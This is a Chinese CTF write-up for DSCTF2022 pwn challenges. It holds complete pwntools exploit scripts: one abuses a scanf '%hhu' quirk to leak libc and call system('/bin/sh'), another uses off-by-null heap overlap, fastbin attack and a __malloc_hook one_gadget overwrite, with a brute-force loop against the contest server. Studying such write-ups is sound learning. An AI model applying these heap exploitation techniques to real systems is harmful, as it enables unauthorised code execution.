当前位置:网站首页>【DSCTF2022】pwn补题记录
【DSCTF2022】pwn补题记录
2022-07-26 15:22:00 【Assassin__is__me】
fuzzerinstrospector
题目的功能很好分析,但是漏洞点之前没有见过,根据程序流程发现是scanf("%hhu"&x);存在漏洞,可以再每次新申请堆的时候跳过写入内容,保留原有堆的值。%hhu代表unsigned char,在输入为±符号的时候,输入是跳过的,并且不影响后续的程序流
我的解题思路
- 第一步:申请9个堆,然后释放9个堆,让tcache的队列填满
- 第二步:申请7个堆,这个时候tcache会在最开始接近top chunk的7、8编号堆进行合并,并且保留main_arena地址
- 第三步:利用scanf的漏洞保留main_arena值,并且通过map表泄露
- 第四步:利用隐藏的功能实现system函数调用
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def FuzzerBitmap_Creatio(index,content,bitmap,mod):
conn.recvuntil("Your choice:")
conn.sendline("1")
conn.recvuntil("Index:")
conn.sendline(str(index))
for i in range(0,8):
conn.recvuntil(":")
if mod:
conn.sendline(str(ord(content[i])))
else:
conn.sendline(content[i])
conn.recvuntil("Bitmap:")
conn.send(bitmap.ljust(0x100,"\x00"))
def Edit_FuzzerBitmap(index,content,bitmap):
conn.recvuntil("Your choice:")
conn.sendline("2")
conn.recvuntil("Index:")
conn.sendline(str(index))
for i in range(0,8):
conn.recvuntil(":")
conn.sendline(str(ord(content[i])))
conn.recvuntil("Bitmap:")
conn.send(bitmap.ljust(0x100,"\x00"))
def Check_FuzzerBitmap(index):
conn.recvuntil("Your choice:")
conn.sendline("3")
conn.recvuntil("Index:")
conn.sendline(str(index))
def Delete_FuzzerBitmap(index):
conn.recvuntil("Your choice:")
conn.sendline("4")
conn.recvuntil("Index:")
conn.sendline(str(index))
def Attack(paylaod):
conn.recvuntil("Your choice:")
conn.sendline("6")
conn.sendline(str(paylaod))
if __name__ == '__main__':
HOST = '39.105.185.193'
PORT = 30007
conn = remote(HOST ,PORT)
#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so','./ciscn_final_3'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so'})
#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./mrctf2020_shellcode_revenge'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
#conn = process("./fuzzerinstrospector")
#pwnlib.gdb.attach(conn,"b main") #b *0x400ECF
pause()
table = ""
for i in range(0,256):
table += chr(i)
FuzzerBitmap_Creatio(0,"A"*8,table,1)
FuzzerBitmap_Creatio(1,"B"*8,table,1)
FuzzerBitmap_Creatio(2,"C"*8,table,1)
FuzzerBitmap_Creatio(3,"D"*8,table,1)
FuzzerBitmap_Creatio(4,"D"*8,table,1)
FuzzerBitmap_Creatio(5,"D"*8,table,1)
FuzzerBitmap_Creatio(6,"D"*8,table,1)
FuzzerBitmap_Creatio(7,"D"*8,table,1)
FuzzerBitmap_Creatio(8,"D"*8,table,1)
Delete_FuzzerBitmap(0)
Delete_FuzzerBitmap(1)
Delete_FuzzerBitmap(2)
Delete_FuzzerBitmap(3)
Delete_FuzzerBitmap(4)
Delete_FuzzerBitmap(5)
Delete_FuzzerBitmap(6)
Delete_FuzzerBitmap(7)
Delete_FuzzerBitmap(8)
FuzzerBitmap_Creatio(0,"+"*8,table,0)
FuzzerBitmap_Creatio(1,"+"*8,table,0)
FuzzerBitmap_Creatio(2,"+"*8,table,0)
FuzzerBitmap_Creatio(3,"+"*8,table,0)
FuzzerBitmap_Creatio(4,"+"*8,table,0)
FuzzerBitmap_Creatio(5,"+"*8,table,0)
FuzzerBitmap_Creatio(6,"+"*8,table,0)
FuzzerBitmap_Creatio(7,"+"*8,table,0)
#FuzzerBitmap_Creatio(8,"+"*8,table,0)
Check_FuzzerBitmap(7)
conn.recvuntil("Bitmap set:")
main_arena_leak = ""
for x in range(8):
conn.recvuntil("Bit: ")
one_bit = conn.recvuntil("\n",drop=True)
main_arena_leak += chr(int(one_bit))
main_arena_leak = u64(main_arena_leak)
print "The main_arena_leak is",hex(main_arena_leak)
libc = LibcSearcher("__malloc_hook",main_arena_leak - 96 -0x10)
libc_base = main_arena_leak - 96 -0x10 - libc.dump("__malloc_hook")
onegadget = libc_base + 0x4f302
system = libc_base + libc.dump("system")
print "The libc base is",hex(libc_base)
print "The onegadget is",hex(onegadget)
Edit_FuzzerBitmap(0,"/bin/sh\x00",table)
Attack(system)
pause()
conn.interactive()
rusty(非预期解法)
碰到这个题目的时候确实是比较懵的,rust程序没有接触过,基本上都是去符号的二进制文件,分析比较复杂。下面详细讲讲我再比赛后的解题路程
第一步:先需要定位程序的主函数,并且了解程序的主要功能
省略分析过程,其实从main函数一路就可以定位,关键函数的位置在0xC3F0位置,从上到下审阅,可以看出来第一个输入的应该一个不大于4的数字。在往后因为反汇编显示用了JMP进行跳跃,所以IDA解析不出来,我没有静态再去分析,主要靠动态调试进行测试,最后得到了函数的主要功能和特点
- 功能1:创建堆块,申请堆块大小不超过0x100,并且经过审查使用的是calloc函数,所以申请的堆块会格式化堆内容(这导致了常规的leak libc更加困难)
- 功能2:编辑堆块,经过测试这个编辑功能存在一比特溢出,我们可以通过此构造off-by-one或者是off-by-null
- 功能3:释放堆块,经过测试发现,我们不能直接操作释放哪一个堆块,程序会根据申请堆的先后从后往前free堆块(不能操作释放哪个堆块使得堆溢出更加困难)
- 功能4:打印堆块内容,前提是堆块必须存在,不存在UAF利用
- 上述4个功能,只要碰到不符合程序流程的部分,会直接exit
在详细的了解后,发现使用off-by-one实现overlapping是非常困难的,主要还是因为free不能控制,off-by-one基本上是向后操作的,因此需要考虑别的方法。
经过Loτυs师傅的指点,发现还是需要使用off-by-null的方法
大家可以去看师傅的原文,我这里会详细分析一下原理
https://blog.csdn.net/Invin_cible/article/details/125812355?spm=1001.2014.3001.5501
因为没有环境了,我主要实现在本地的测试哈,先上整体的程序代码
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def cteate_heap(size):
conn.recvuntil("Command:")
conn.sendline("1")
conn.recvuntil("Size:")
conn.sendline(str(size))
def edit_heap(index,len,content):
conn.recvuntil("Command:")
conn.sendline("2")
conn.recvuntil("Idx:")
conn.sendline(str(index))
conn.recvuntil("Len:")
conn.sendline(str(len))
conn.recvuntil("Data:")
conn.sendline(str(content))
def free_heap():
conn.recvuntil("Command:")
conn.sendline("3")
def show_heap(index):
conn.recvuntil("Command:")
conn.sendline("4")
conn.recvuntil("Idx:")
conn.sendline(str(index))
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 26100
#conn = remote(HOST ,PORT)
conn = process("./rusty")
#pwnlib.gdb.attach(conn,"b main") #b *0x400ECF
pause()
'''第一步:通过构造大小为0x88、0x100、0x68,先把tcache填满'''
[cteate_heap(0x88) for x in range(7)] #0-6
#这里用了9个0x100堆,就是想通过剩余的两个合并成0x200大小的unsorted bin
[cteate_heap(0x100) for x in range(9)] #7-15
#这里用了8个0x68堆,是为了有一个放入fastbin中,并且在后续想办法利用它实现fastbin attack
[cteate_heap(0x68) for x in range(8)] #16-23
[free_heap() for x in range(17)]
'''第二步:此时存在0x200大小的unsorted bin,申请2个堆使之剩下一个被切割的大小为0x90的块(含头),为了后续可以继续连续申请大小为0xf8的堆块'''
cteate_heap(0x88) #7
cteate_heap(0x100) #8
'''第三步:连续申请9个0xf8的堆块,释放7个,再通过篡改第2个堆内容实现off-by-null'''
[cteate_heap(0xf8) for x in range(9)] #9-17
[free_heap() for x in range(7)]
payload = "\x00"*0xf0 + p64(0x80+0x110*7+0x70*8+0x100) + "\x00"
edit_heap(9,len(payload),payload)
free_heap() #off by null success!!! free 10!!!
'''第四步:这一步猛一看为什么构造的这么复杂?是为了错开原本的对结构,使得新生成的堆头处于原本堆的中部'''
cteate_heap(0x70) #10
[cteate_heap(0x100) for x in range(6)] #11-16
[cteate_heap(0xa0) for x in range(2)] #17-18
[cteate_heap(0xc8) for x in range(4)] #19-22
show_heap(9)
conn.recvuntil("\x7f")
conn.recv(2)
leak = conn.recvuntil("\x7f")
leak = leak.decode("utf-8").ljust(8,"\x00")
leak = u64(leak)
print "The libc leak is",hex(leak)
__malloc_hook = leak - 96 - 0x10
libc = LibcSearcher("__malloc_hook",__malloc_hook)
libc_base = __malloc_hook - libc.dump("__malloc_hook")
one_gadget = libc_base + 0x4f302
realloc = libc_base + libc.dump("realloc")
print "The malloc hook is",hex(__malloc_hook)
print "The libc base is",hex(libc_base)
print "The onegadget is",hex(one_gadget)
'''第五步:修改新申请的堆块内容,实现fastbin attack'''
cteate_heap(0xa0) #23
cteate_heap(0x90) #24
cteate_heap(0x90) #25
payload = "\x00"*0x58 + p64(0x71)+p64(__malloc_hook-0x23) #18
edit_heap(18,len(payload),payload)
show_heap(9)
cteate_heap(0x68) #26
cteate_heap(0x68) #27
'''第六步:修改malloc hook实现onegadget'''
payload = "\x00"*0xb + p64(0) + p64(one_gadget)
edit_heap(27,len(payload),payload)
pause()
conn.interactive()
之后我们分步骤讲解
第一步:通过构造大小为0x88、0x100、0x68,先把tcache填满
通过第一步构造,此时我们的堆空间是这样的
|------------------------|
| 7个0x90 |
|------------------------| # 这里以下↓都是被释放的,以上↑是未被释放的
| 2个0x110 | # 这两个0x110的堆块合并成了一个0x220的unsorted bin
|------------------------|
| 7个0x110 | # 这里填满了tcache
|------------------------|
| 8个0x70 | # 这里填满了tcache
|------------------------|

第二步:此时存在0x220大小的unsorted bin,申请2个堆使之剩下一个被切割的大小为0x80的块(含头)
这一步是必须的,因为我们再申请堆块会优先从unsorted bin上申请,为了后面正常申请大小为0xf8的堆块,必须先把这个0x220的堆块切割变小,直至小于0x100
第三步:连续申请9个0xf8的堆块,释放7个,再通过篡改第2个堆内容实现off-by-null
在[free_heap() for x in range(7)]之后,我们的堆空间已经变成了
|------------------------|
| 7个0x90 |
|------------------------| # 这里以下↓都是被释放的,以上↑是未被释放的
| 0x90 | # 用于切割0x220的unsorted bin
|------------------------|
| 0x110 | # 用于切割0x220的unsorted bin
|------------------------|
| 0x80 | # 切割后剩余的0x80的unsorted bin
|------------------------|
| 7个0x110 | # 填满了tcache
|------------------------|
| 8个0x70 | # 填满了tcache,并且生成一个fastbin
|------------------------|
| 2个0x100 | # 这两个是没有被释放的,用于实现off-by-one
|------------------------|
| 7个0x100 | # 填满了tcache
|------------------------|
通过修改第9个块,影响第10个块,经过计算使得pre_size指向被切割后的unsorted bin,具体的计算过程看代码应该是很清楚的
在free(10)之后,堆结构就变成了
|------------------------|
| 7个0x90 |
|------------------------| # 这里以下↓都是被释放的,以上↑是未被释放的
| 0x90 | # 用于切割0x220的unsorted bin
|------------------------|
| 0x110 | # 用于切割0x220的unsorted bin
|------------------------|
| 合并后的块 | # 合并后的内容,大小为0x80 + 7*0x110 + 8*0x70 + 2*0x100,我们未被释放的是堆块9,位置在0x80 + 7*0x110 + 8*0x70
|------------------------|
| 7个0x100 | # 填满了tcache
|------------------------|
第四步:不断申请堆块,使得将大的unsorted bin切割至与第9块平齐
这一步有一个大坑,就是切割的过程中,需要将新申请的堆头避开原有的堆头,否则会破坏原有堆结构并且报错,所以才会歪七扭八的申请这么多堆
cteate_heap(0x70) #10
[cteate_heap(0x100) for x in range(6)] #11-16
[cteate_heap(0xa0) for x in range(2)] #17-18
[cteate_heap(0xc8) for x in range(4)] #19-22
show_heap(9)
然后就可以泄露libc地址了
第五步:实现fastbin attack
这个就不多说,新申请的堆块去修改在fastbin链上的堆块,实现fastbin attack,在malloc hook修改onegadget
至此本地调试结束,大佬说本地调通很简单,因为还有其他问题…
真实环境中坑点1:堆风水
大佬说真实环境中还有堆风水的问题,他是把环境配置成ubuntu18更新libc来测试的,解决了堆风水问题
真实环境中坑点2:malloc hook附近找可申请的\x7f与本地不同
这个大佬说内存地址情况和本地也不一样,大佬用的爆破的方法,最终成功了。记录一下大佬的代码
from pickle import TRUE
from pwn import *
from time import sleep
# context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
# r = process('/home/cru5h/bin/2022/11/rusty')
# r = remote('39.105.187.159',30008)
libc = ELF('/home/cru5h/bin/2022/11/libc-2.27.so')
def menu(choice):
r.recvuntil(b'Command:')
r.sendline(str(choice))
def add(size):
menu(1)
r.recvuntil(b'Size: ')
r.sendline(str(size))
def edit(index,size,content):
menu(2)
r.recvuntil(b'Idx: ')
r.sendline(str(index))
r.recvuntil(b'Len: ')
r.sendline(str(size))
r.recvuntil(b'Data: ')
r.sendline(content)
def delete():
menu(3)
def show(index):
menu(4)
r.recvuntil(b'Idx: ')
r.sendline(str(index))
def pwn(i):
r.recvuntil(b'Let\'s build a rusty house!\n')
stack_addr = int(r.recvuntil(b'\n')[:-1],16)
[add(0x88) for i in range(8)] #0-7
[add(0x100) for i in range(9)]#8-16
[add(0x68) for k in range(8)]#17-24
[delete() for j in range(17)]
add(0x80)#8
add(0x100)#9
[add(0xf8) for k in range(9)]#10-18
[delete() for l in range(7)]
edit(10,0xf9,b'a'*0xf0+p64(0xc70)+b'\x00')#9-11 exists
delete()
add(0x70)#11
[add(0x100) for o in range(6)]#12-17
add(0xf0)#18
[add(0x60*2) for o in range(4)]#19-22
add(0x40)#23
show(10)
r.recvuntil(b'Data: ')
# something= r.recvuntil(b'\x7f')[-6:].decode('utf8')
# print(something)
r.recv(2)
# res = r.recvuntil(b'\x7f')
# print(res)
# print(len(res))
# libc_base = u64(res.ljust(8,'\x00')) - 0x3ebca0
libc_base = u64(r.recvuntil(b'\x7f').decode('utf8').ljust(8,'\x00'))
libc_base = (libc_base<<8)+0xa0-0x3ebca0
print(hex(libc_base))
one_gadget = libc_base+0x4f302
malloc_hook = libc_base+libc.sym["__malloc_hook"]
print(hex(malloc_hook))
# edit(19,0x40,p64(0)+p64(0x71)+p64(malloc_hook-0xb-0x8))
edit(19,0x40,p64(0)+p64(0x71)+p64(malloc_hook-0xb-0x8 - 0x48 +i))
# gdb.attach(r)
add(0x60)#24
add(0x68)#25
edit(25,0x20+0x48-i,b'g'*(0xb-8 +0x48-i)+p64(one_gadget))
# pause()
# log.success("libc_base: "+hex(libc_base))
# gdb.attach(r)
menu(1)
r.interactive()
for i in range(0x60):
r = remote('39.105.187.159',30008)
try:
print(i)
pwn(i)
except EOFError:
r.close()
————————————————
版权声明:本文为CSDN博主「Loτυs」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/Invin_cible/article/details/125812355
真的不得不说Loτυs真的强,以至于我觉这个非预期解比站撸rust结构体带劲多了…orz…
边栏推荐
- pytorch安装 CUDA对应
- R language tests the significance of correlation coefficient: use Cor The test function calculates the value and confidence interval of the correlation coefficient and its statistical significance (if
- Tool skill learning (I): pre skills -makfile, make,.Mk
- 关于我写的IDEA插件能一键生成service,mapper....这件事(附源码)
- 线程和进程
- 企业数字化转型需要深入研究,不能为了转型而转型
- 工具技能学习(一):前置技能-makfile、make、.mk
- FOC motor control foundation
- Bluetooth ble4.0-hm-10 device pairing Guide
- QCF for deep packet inspection paper summary
猜你喜欢

装备制造业的变革时代,SCM供应链管理系统如何赋能装备制造企业转型升级

拒绝噪声,耳机小白的入门之旅

TI C6000 TMS320C6678 DSP+ Zynq-7045的PS + PL异构多核案例开发手册(4)

Qt最基本的布局,创建window界面

Continuous integration (I) brief introduction to basic concepts

FOC学习笔记-坐标变换以及仿真验证

Quanzhi a40i industrial core board, 100% domestic 4-core arm cortex-a7, supports "dual screen abnormal display" [display interface capability, preferred scheme for industrial HMI]

什么是传输层协议TCP/UDP???

Digital warehouse: iqiyi digital warehouse platform construction practice

81. (cesium home) cesium modifies the gray background (default blue)
随机推荐
Detailed explanation of nat/napt address translation (internal and external network communication) technology [Huawei ENSP]
Sword finger offer II 009. subarray with product less than k
Zynq PS + PL heterogeneous multicore Case Development Manual of Ti C6000 tms320c6678 DSP + zynq-7045 (1)
[expdp export data] expdp exports a table with 23 rows of records and no lob field. It takes 48 minutes. Please help us have a look
FOC motor control foundation
Interview with data center and Bi business (IV) -- look at the essence of ten questions
How to convert planning map into vector data with longitude and latitude geojson
线程和进程
R language ggplot2 visualization: use the ggdotplot function of ggpubr package to visualize dot plot, set the add parameter to add the mean and standard deviation vertical lines, and set the error.plo
Complete MySQL commands
FOC电机控制基础
Remote desktop on Jetson nano
R language ggplot2 visualization: visual line graph, visual line graph for different groups using the group parameter in AES function
二叉树的创建以及遍历
Tool skill learning (II): pre skills shell
R语言可视化散点图、使用ggrepel包的geom_text_repel函数避免数据点之间的标签互相重叠(设置min.segment.length参数为0为每个数据点的标签添加线段)
Using two stacks to implement a queue
Soft test (VII) performance test (1) brief introduction
Xiaobai, which securities firm is the best and safest to open an account
DICOM learning materials collection